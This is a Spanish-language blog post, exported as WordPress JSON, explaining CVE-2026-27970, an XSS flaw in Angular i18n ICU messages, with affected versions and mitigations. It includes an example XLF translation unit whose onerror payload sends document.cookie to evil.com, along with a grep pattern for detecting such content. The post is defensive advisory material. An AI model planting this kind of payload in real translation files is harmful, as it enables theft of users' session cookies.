{"id":1288,"date":"2026-03-16T10:18:14","date_gmt":"2026-03-16T13:18:14","guid":{"rendered":"https:\/\/maurobernal.com.ar\/blog\/?p=1288"},"modified":"2026-03-16T11:43:41","modified_gmt":"2026-03-16T14:43:41","slug":"cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad","status":"publish","type":"post","link":"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/","title":{"rendered":"CVE-2026-27970: XSS en Angular i18n &#8211; Lo que necesit\u00e1s saber y c\u00f3mo proteger tu app"},"content":{"rendered":"<p>Hace unos d\u00edas me lleg\u00f3 una alerta de seguridad que me llam\u00f3 la atenci\u00f3n: una vulnerabilidad XSS en el pipeline de internacionalizaci\u00f3n de Angular. Siendo alguien que ha trabajado con Angular i18n en proyectos reales, quise entender bien de qu\u00e9 se trata antes de escribir sobre esto. Lo que encontr\u00e9 es interesante \u2014 no es el XSS t\u00edpico que uno imagina.<\/p>\n<h2>\u00bfDe qu\u00e9 se trata el CVE-2026-27970?<\/h2>\n<p>La vulnerabilidad afecta el sistema de internacionalizaci\u00f3n (i18n) de Angular, espec\u00edficamente en los mensajes ICU (<em>International Components for Unicode<\/em>). En pocas palabras: el HTML dentro de traducciones ICU no estaba siendo sanitizado correctamente, lo que permit\u00eda ejecutar JavaScript arbitrario.<\/p>\n<p>CVSS Score: <strong>7.6 HIGH<\/strong> (CVSS 4.0)<\/p>\n<pre>Vector: CVSS:4.0\/AV:N\/AC:L\/AT:P\/PR:N\/UI:P\/VC:H\/VI:H\/VA:N\/SC:N\/SI:N\/SA:N\nCWE-79: Cross-site Scripting (XSS)\n<\/pre>\n<h2>\u00bfC\u00f3mo funciona el ataque?<\/h2>\n<p>El flujo de i18n en Angular tiene tres pasos bien definidos:<\/p>\n<pre>\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502                   Flujo Angular i18n                    \u2502\n\u2502                                                         \u2502\n\u2502  1. Extracci\u00f3n     2. Traducci\u00f3n      3. Merge          \u2502\n\u2502  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510     \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510   \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510  \u2502\n\u2502  \u2502 ng       \u2502\u2500\u2500\u2500&#x25b6;\u2502  Proveedor   \u2502\u2500\u2500&#x25b6;\u2502 Build final  \u2502  \u2502\n\u2502  \u2502 extract  \u2502     \u2502  externo     \u2502   \u2502 con XLF\/XTB  \u2502  \u2502\n\u2502  \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518     \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518   \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518  \u2502\n\u2502                         \u25b2                               \u2502\n\u2502                    Vector de ataque                     \u2502\n\u2502                  (archivo de traducci\u00f3n                 \u2502\n\u2502                      comprometido)                      \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n<\/pre>\n<p>El problema est\u00e1 en el paso 2. Muchas empresas tercerizan las traducciones \u2014 mandan los archivos <code>.xlf<\/code> o <code>.xtb<\/code> a una agencia traductora y reciben el resultado. Si esa agencia (o alguien que comprometi\u00f3 sus sistemas) devuelve un archivo con contenido malicioso en un mensaje ICU, Angular lo renderizaba sin sanitizar.<\/p>\n<p>Un ejemplo de mensaje ICU malicioso podr\u00eda verse as\u00ed:<\/p>\n<pre><code class=\"language-xml\">&lt;trans-unit id=\"status-message\"&gt;\n  &lt;source&gt;{count, plural, =1 {item} other {items}}&lt;\/source&gt;\n  &lt;target&gt;{count, plural, =1 {&lt;img src=x onerror=\"fetch('https:\/\/evil.com\/steal?c='+document.cookie)\"&gt;} other {items}}&lt;\/target&gt;\n&lt;\/trans-unit&gt;\n<\/code><\/pre>\n<p>Al renderizar ese ICU message, Angular ejecutaba el JavaScript embebido.<\/p>\n<h2>Condiciones necesarias para el exploit<\/h2>\n<p>Este no es un XSS que cualquier usuario puede disparar. Para que funcione se necesita:<\/p>\n<ul>\n<li>&#x2705; Comprometer el archivo de traducci\u00f3n (<code>.xlf<\/code>, <code>.xtb<\/code>, etc.)<\/li>\n<li>&#x2705; La app usa Angular i18n<\/li>\n<li>&#x2705; La app usa uno o m\u00e1s mensajes ICU<\/li>\n<li>&#x2705; El mensaje ICU comprometido se renderiza en el cliente<\/li>\n<li>&#x2705; No hay CSP estricto que bloquee JavaScript no autorizado<\/li>\n<\/ul>\n<p>Desde mi experiencia, el punto m\u00e1s cr\u00edtico es el primero. En proyectos donde trabaj\u00e9, los archivos de traducci\u00f3n viajan por email, Slack, o plataformas como Crowdin o Phrase. Ese vector es m\u00e1s realista de lo que parece.<\/p>\n<h2>Versiones afectadas y parches<\/h2>\n<pre>\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 Rama               \u2502 Versi\u00f3n afectada \u2502 Versi\u00f3n parcheada\u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u253c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 Angular 21.x       \u2502 &lt; 21.2.0         \u2502 21.2.0         \u2502\n\u2502 Angular 21.1.x     \u2502 &lt; 21.1.16        \u2502 21.1.16        \u2502\n\u2502 Angular 20.3.x     \u2502 &lt; 20.3.17        \u2502 20.3.17        \u2502\n\u2502 Angular 19.2.x     \u2502 &lt; 19.2.19        \u2502 19.2.19        \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2534\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n<\/pre>\n<h2>C\u00f3mo protegerte<\/h2>\n<h3>1. Actualiz\u00e1 Angular<\/h3>\n<p>Lo primero y m\u00e1s importante. Si us\u00e1s npm:<\/p>\n<pre><code class=\"language-bash\">ng update @angular\/core @angular\/cli\n<\/code><\/pre>\n<p>Para actualizar a una versi\u00f3n espec\u00edfica parcheada:<\/p>\n<pre><code class=\"language-bash\"># Para Angular 20\nnpm install @angular\/core@20.3.17 @angular\/common@20.3.17\n\n# Para Angular 19\nnpm install @angular\/core@19.2.19 @angular\/common@19.2.19\n<\/code><\/pre>\n<h3>2. Habilit\u00e1 Content Security Policy (CSP)<\/h3>\n<p>Si no pod\u00e9s parchear de inmediato, un CSP estricto bloquea la ejecuci\u00f3n de JavaScript no autorizado. En tu <code>index.html<\/code>:<\/p>\n<pre><code class=\"language-html\">&lt;meta http-equiv=\"Content-Security-Policy\" \n      content=\"default-src 'self'; script-src 'self'; object-src 'none';\"&gt;\n<\/code><\/pre>\n<p>O mejor a\u00fan, configuralo en tu servidor\/proxy para mayor efectividad.<\/p>\n<h3>3. Habilit\u00e1 Trusted Types<\/h3>\n<pre><code class=\"language-html\">&lt;meta http-equiv=\"Content-Security-Policy\" \n      content=\"require-trusted-types-for 'script'; trusted-types angular;\"&gt;\n<\/code><\/pre>\n<h3>4. Revis\u00e1 tus archivos de traducci\u00f3n<\/h3>\n<p>Antes de hacer el build de producci\u00f3n, valid\u00e1 que los archivos de traducci\u00f3n recibidos de terceros no contengan HTML o scripts embebidos. Pod\u00e9s agregar una validaci\u00f3n en tu pipeline de CI:<\/p>\n<pre><code class=\"language-bash\"># Ejemplo b\u00e1sico: buscar patrones sospechosos en archivos XLF\ngrep -r \"onerror\\|onclick\\|javascript:\\|&lt;script\" src\/locale\/*.xlf &amp;&amp; echo \"WARNING: Suspicious content found!\" || echo \"OK\"\n<\/code><\/pre>\n<h2>&#x26a0;&#xfe0f; Angular 18 y anteriores: sin parche oficial<\/h2>\n<p>Hay algo que no mencion\u00e9 en la versi\u00f3n inicial del post y que me parece importante agregar: <strong>Angular 18 y todas las versiones anteriores no tienen parche oficial disponible<\/strong>. El equipo de Angular no va a backportear la correcci\u00f3n porque esas versiones alcanzaron su end-of-life (EOL).<\/p>\n<p>Si tu aplicaci\u00f3n corre sobre Angular 18 o anterior, tus opciones son:<\/p>\n<ul>\n<li><strong>Migrar a Angular 19+<\/strong> \u2014 la opci\u00f3n correcta a largo plazo, aunque s\u00e9 que no siempre es trivial<\/li>\n<li><strong>Aplicar las mitigaciones<\/strong> \u2014 CSP estricto + Trusted Types + validaci\u00f3n de archivos de traducci\u00f3n (ver secci\u00f3n anterior)<\/li>\n<li><strong>HeroDevs Never-Ending Support<\/strong> \u2014 provee parches de seguridad para Angular 4 a 19 como drop-in replacement. Es una opci\u00f3n paga, pero v\u00e1lida si no pod\u00e9s migrar y quer\u00e9s estar cubierto<\/li>\n<\/ul>\n<p>En mi opini\u00f3n, si us\u00e1s Angular 18 o anterior en producci\u00f3n con i18n, esto deber\u00eda ser una se\u00f1al de que la migraci\u00f3n no puede seguir postergando. La deuda t\u00e9cnica eventualmente cobra intereses \u2014 y a veces en forma de CVE.<\/p>\n<h2>Mi opini\u00f3n sobre este CVE<\/h2>\n<p>Lo que me parece interesante de este CVE es que no es el t\u00edpico \u00abel usuario ingresa datos maliciosos\u00bb. Ac\u00e1 el vector es la cadena de suministro de traducciones \u2014 algo en lo que pocas empresas piensan cuando dise\u00f1an su threat model.<\/p>\n<p>En proyectos donde us\u00e9 i18n con Angular, jam\u00e1s se me ocurri\u00f3 auditar los archivos de traducci\u00f3n como potencial vector de ataque. Ahora lo har\u00e9. Y vos tambi\u00e9n deber\u00edas.<\/p>\n<p>El hecho de que requiera comprometer el archivo de traducci\u00f3n lo hace menos probable que un XSS cl\u00e1sico, pero para aplicaciones que manejan credenciales o datos sensibles, el impacto potencial es alto: exfiltraci\u00f3n de cookies, tokens de sesi\u00f3n, o simplemente vandalism de la UI.<\/p>\n<h2>Verific\u00e1 tu versi\u00f3n ahora<\/h2>\n<pre><code class=\"language-bash\">ng version | grep \"Angular:\"\n<\/code><\/pre>\n<p>Si ves cualquier versi\u00f3n anterior a las parcheadas en la tabla de arriba, actualiz\u00e1. No hay excusa para no hacerlo en este caso \u2014 los cambios son en el core del compilador y no deber\u00edan romper nada en tu c\u00f3digo.<\/p>\n<p><strong>Referencias:<\/strong><\/p>\n<ul>\n<li><a href=\"https:\/\/nvd.nist.gov\/vuln\/detail\/CVE-2026-27970\" target=\"_blank\" rel=\"noopener\">NVD &#8211; CVE-2026-27970<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/angular\/angular\/security\/advisories\/GHSA-prjf-86w9-mfqv\" target=\"_blank\" rel=\"noopener\">GitHub Security Advisory GHSA-prjf-86w9-mfqv<\/a><\/li>\n<li><a href=\"https:\/\/github.com\/angular\/angular\/pull\/67183\" target=\"_blank\" rel=\"noopener\">Angular PR #67183 &#8211; Fix<\/a><\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>CVE-2026-27970 es una vulnerabilidad XSS (CVSS 7.6 HIGH) en el pipeline i18n de Angular que afecta mensajes ICU en Angular 19, Angular 20 y Angular 21. El HTML de traducciones comprometidas no era sanitizado, permitiendo ejecutar JavaScript arbitrario. Analizamos c\u00f3mo funciona el exploit, qu\u00e9 versiones est\u00e1n afectadas y c\u00f3mo proteger tu aplicaci\u00f3n Angular con CSP, Trusted Types y validaci\u00f3n de archivos de traducci\u00f3n.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":true,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2}},"categories":[273,1],"tags":[274,341,342,343,339,340,268,338],"class_list":["post-1288","post","type-post","status-publish","format-standard","hentry","category-angular","category-blog","tag-angular","tag-angular-19","tag-angular-20","tag-angular-21","tag-cve","tag-i18n","tag-seguridad","tag-xss"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.3 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>CVE-2026-27970: XSS en Angular i18n - Lo que necesit\u00e1s saber y c\u00f3mo proteger tu app &#183; devops Mauro Bernal<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"CVE-2026-27970: XSS en Angular i18n - Lo que necesit\u00e1s saber y c\u00f3mo proteger tu app &#183; devops Mauro Bernal\" \/>\n<meta property=\"og:description\" content=\"CVE-2026-27970 es una vulnerabilidad XSS (CVSS 7.6 HIGH) en el pipeline i18n de Angular que afecta mensajes ICU en Angular 19, Angular 20 y Angular 21. El HTML de traducciones comprometidas no era sanitizado, permitiendo ejecutar JavaScript arbitrario. Analizamos c\u00f3mo funciona el exploit, qu\u00e9 versiones est\u00e1n afectadas y c\u00f3mo proteger tu aplicaci\u00f3n Angular con CSP, Trusted Types y validaci\u00f3n de archivos de traducci\u00f3n.\" \/>\n<meta property=\"og:url\" content=\"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/\" \/>\n<meta property=\"og:site_name\" content=\"devops Mauro Bernal\" \/>\n<meta property=\"article:published_time\" content=\"2026-03-16T13:18:14+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2026-03-16T14:43:41+00:00\" \/>\n<meta name=\"author\" content=\"Mauro Bernal\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@_maurobernal\" \/>\n<meta name=\"twitter:site\" content=\"@_maurobernal\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"Mauro Bernal\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"4 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\\\/\"},\"author\":{\"name\":\"Mauro Bernal\",\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/#\\\/schema\\\/person\\\/09c4dbdfb59b20e015c703fd19713283\"},\"headline\":\"CVE-2026-27970: XSS en Angular i18n &#8211; Lo que necesit\u00e1s saber y c\u00f3mo proteger tu app\",\"datePublished\":\"2026-03-16T13:18:14+00:00\",\"dateModified\":\"2026-03-16T14:43:41+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\\\/\"},\"wordCount\":810,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/#\\\/schema\\\/person\\\/09c4dbdfb59b20e015c703fd19713283\"},\"keywords\":[\"angular\",\"angular-19\",\"angular-20\",\"angular-21\",\"cve\",\"i18n\",\"seguridad\",\"xss\"],\"articleSection\":[\"Angular\",\"Blog\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\\\/\",\"url\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\\\/\",\"name\":\"CVE-2026-27970: XSS en Angular i18n - Lo que necesit\u00e1s saber y c\u00f3mo proteger tu app &#183; devops Mauro Bernal\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/#website\"},\"datePublished\":\"2026-03-16T13:18:14+00:00\",\"dateModified\":\"2026-03-16T14:43:41+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\\\/\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"CVE-2026-27970: XSS en Angular i18n &#8211; Lo que necesit\u00e1s saber y c\u00f3mo proteger tu app\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/#website\",\"url\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/\",\"name\":\"devops Mauro Bernal\",\"description\":\"Cuando tu trabajo es hacer que las cosas funcionen bien...\",\"publisher\":{\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/#\\\/schema\\\/person\\\/09c4dbdfb59b20e015c703fd19713283\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":[\"Person\",\"Organization\"],\"@id\":\"https:\\\/\\\/maurobernal.com.ar\\\/blog\\\/#\\\/schema\\\/person\\\/09c4dbdfb59b20e015c703fd19713283\",\"name\":\"Mauro Bernal\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/i0.wp.com\\\/maurobernal.com.ar\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/07\\\/logo-maurobernal.png?fit=1740%2C1740&ssl=1\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/maurobernal.com.ar\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/07\\\/logo-maurobernal.png?fit=1740%2C1740&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/maurobernal.com.ar\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/07\\\/logo-maurobernal.png?fit=1740%2C1740&ssl=1\",\"width\":1740,\"height\":1740,\"caption\":\"Mauro Bernal\"},\"logo\":{\"@id\":\"https:\\\/\\\/i0.wp.com\\\/maurobernal.com.ar\\\/blog\\\/wp-content\\\/uploads\\\/2023\\\/07\\\/logo-maurobernal.png?fit=1740%2C1740&ssl=1\"},\"description\":\"Desarrollo de Sistemas en .Net, IT Callcenters, DBA de SQL Server, Mikrotik, Pentest y T\u00e9cnico consultor de Sistemas Bejerman\",\"sameAs\":[\"https:\\\/\\\/maurobernal.com.ar\",\"https:\\\/\\\/x.com\\\/_maurobernal\",\"https:\\\/\\\/youtube.com\\\/maurobernal\"]}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"CVE-2026-27970: XSS en Angular i18n - Lo que necesit\u00e1s saber y c\u00f3mo proteger tu app &#183; devops Mauro Bernal","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/","og_locale":"es_ES","og_type":"article","og_title":"CVE-2026-27970: XSS en Angular i18n - Lo que necesit\u00e1s saber y c\u00f3mo proteger tu app &#183; devops Mauro Bernal","og_description":"CVE-2026-27970 es una vulnerabilidad XSS (CVSS 7.6 HIGH) en el pipeline i18n de Angular que afecta mensajes ICU en Angular 19, Angular 20 y Angular 21. El HTML de traducciones comprometidas no era sanitizado, permitiendo ejecutar JavaScript arbitrario. Analizamos c\u00f3mo funciona el exploit, qu\u00e9 versiones est\u00e1n afectadas y c\u00f3mo proteger tu aplicaci\u00f3n Angular con CSP, Trusted Types y validaci\u00f3n de archivos de traducci\u00f3n.","og_url":"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/","og_site_name":"devops Mauro Bernal","article_published_time":"2026-03-16T13:18:14+00:00","article_modified_time":"2026-03-16T14:43:41+00:00","author":"Mauro Bernal","twitter_card":"summary_large_image","twitter_creator":"@_maurobernal","twitter_site":"@_maurobernal","twitter_misc":{"Escrito por":"Mauro Bernal","Tiempo de lectura":"4 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/#article","isPartOf":{"@id":"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/"},"author":{"name":"Mauro Bernal","@id":"https:\/\/maurobernal.com.ar\/blog\/#\/schema\/person\/09c4dbdfb59b20e015c703fd19713283"},"headline":"CVE-2026-27970: XSS en Angular i18n &#8211; Lo que necesit\u00e1s saber y c\u00f3mo proteger tu app","datePublished":"2026-03-16T13:18:14+00:00","dateModified":"2026-03-16T14:43:41+00:00","mainEntityOfPage":{"@id":"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/"},"wordCount":810,"commentCount":0,"publisher":{"@id":"https:\/\/maurobernal.com.ar\/blog\/#\/schema\/person\/09c4dbdfb59b20e015c703fd19713283"},"keywords":["angular","angular-19","angular-20","angular-21","cve","i18n","seguridad","xss"],"articleSection":["Angular","Blog"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/","url":"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/","name":"CVE-2026-27970: XSS en Angular i18n - Lo que necesit\u00e1s saber y c\u00f3mo proteger tu app &#183; devops Mauro Bernal","isPartOf":{"@id":"https:\/\/maurobernal.com.ar\/blog\/#website"},"datePublished":"2026-03-16T13:18:14+00:00","dateModified":"2026-03-16T14:43:41+00:00","breadcrumb":{"@id":"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/maurobernal.com.ar\/blog\/cve-2026-27970-angular-i18n-xss-vulnerabilidad-seguridad\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/maurobernal.com.ar\/blog\/"},{"@type":"ListItem","position":2,"name":"CVE-2026-27970: XSS en Angular i18n &#8211; Lo que necesit\u00e1s saber y c\u00f3mo proteger tu app"}]},{"@type":"WebSite","@id":"https:\/\/maurobernal.com.ar\/blog\/#website","url":"https:\/\/maurobernal.com.ar\/blog\/","name":"devops Mauro Bernal","description":"Cuando tu trabajo es hacer que las cosas funcionen bien...","publisher":{"@id":"https:\/\/maurobernal.com.ar\/blog\/#\/schema\/person\/09c4dbdfb59b20e015c703fd19713283"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/maurobernal.com.ar\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":["Person","Organization"],"@id":"https:\/\/maurobernal.com.ar\/blog\/#\/schema\/person\/09c4dbdfb59b20e015c703fd19713283","name":"Mauro Bernal","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/i0.wp.com\/maurobernal.com.ar\/blog\/wp-content\/uploads\/2023\/07\/logo-maurobernal.png?fit=1740%2C1740&ssl=1","url":"https:\/\/i0.wp.com\/maurobernal.com.ar\/blog\/wp-content\/uploads\/2023\/07\/logo-maurobernal.png?fit=1740%2C1740&ssl=1","contentUrl":"https:\/\/i0.wp.com\/maurobernal.com.ar\/blog\/wp-content\/uploads\/2023\/07\/logo-maurobernal.png?fit=1740%2C1740&ssl=1","width":1740,"height":1740,"caption":"Mauro Bernal"},"logo":{"@id":"https:\/\/i0.wp.com\/maurobernal.com.ar\/blog\/wp-content\/uploads\/2023\/07\/logo-maurobernal.png?fit=1740%2C1740&ssl=1"},"description":"Desarrollo de Sistemas en .Net, IT Callcenters, DBA de SQL Server, Mikrotik, Pentest y T\u00e9cnico consultor de Sistemas Bejerman","sameAs":["https:\/\/maurobernal.com.ar","https:\/\/x.com\/_maurobernal","https:\/\/youtube.com\/maurobernal"]}]}},"jetpack_publicize_connections":[],"jetpack_featured_media_url":"","jetpack-related-posts":[],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/maurobernal.com.ar\/blog\/wp-json\/wp\/v2\/posts\/1288","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/maurobernal.com.ar\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/maurobernal.com.ar\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/maurobernal.com.ar\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/maurobernal.com.ar\/blog\/wp-json\/wp\/v2\/comments?post=1288"}],"version-history":[{"count":3,"href":"https:\/\/maurobernal.com.ar\/blog\/wp-json\/wp\/v2\/posts\/1288\/revisions"}],"predecessor-version":[{"id":1291,"href":"https:\/\/maurobernal.com.ar\/blog\/wp-json\/wp\/v2\/posts\/1288\/revisions\/1291"}],"wp:attachment":[{"href":"https:\/\/maurobernal.com.ar\/blog\/wp-json\/wp\/v2\/media?parent=1288"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/maurobernal.com.ar\/blog\/wp-json\/wp\/v2\/categories?post=1288"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/maurobernal.com.ar\/blog\/wp-json\/wp\/v2\/tags?post=1288"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}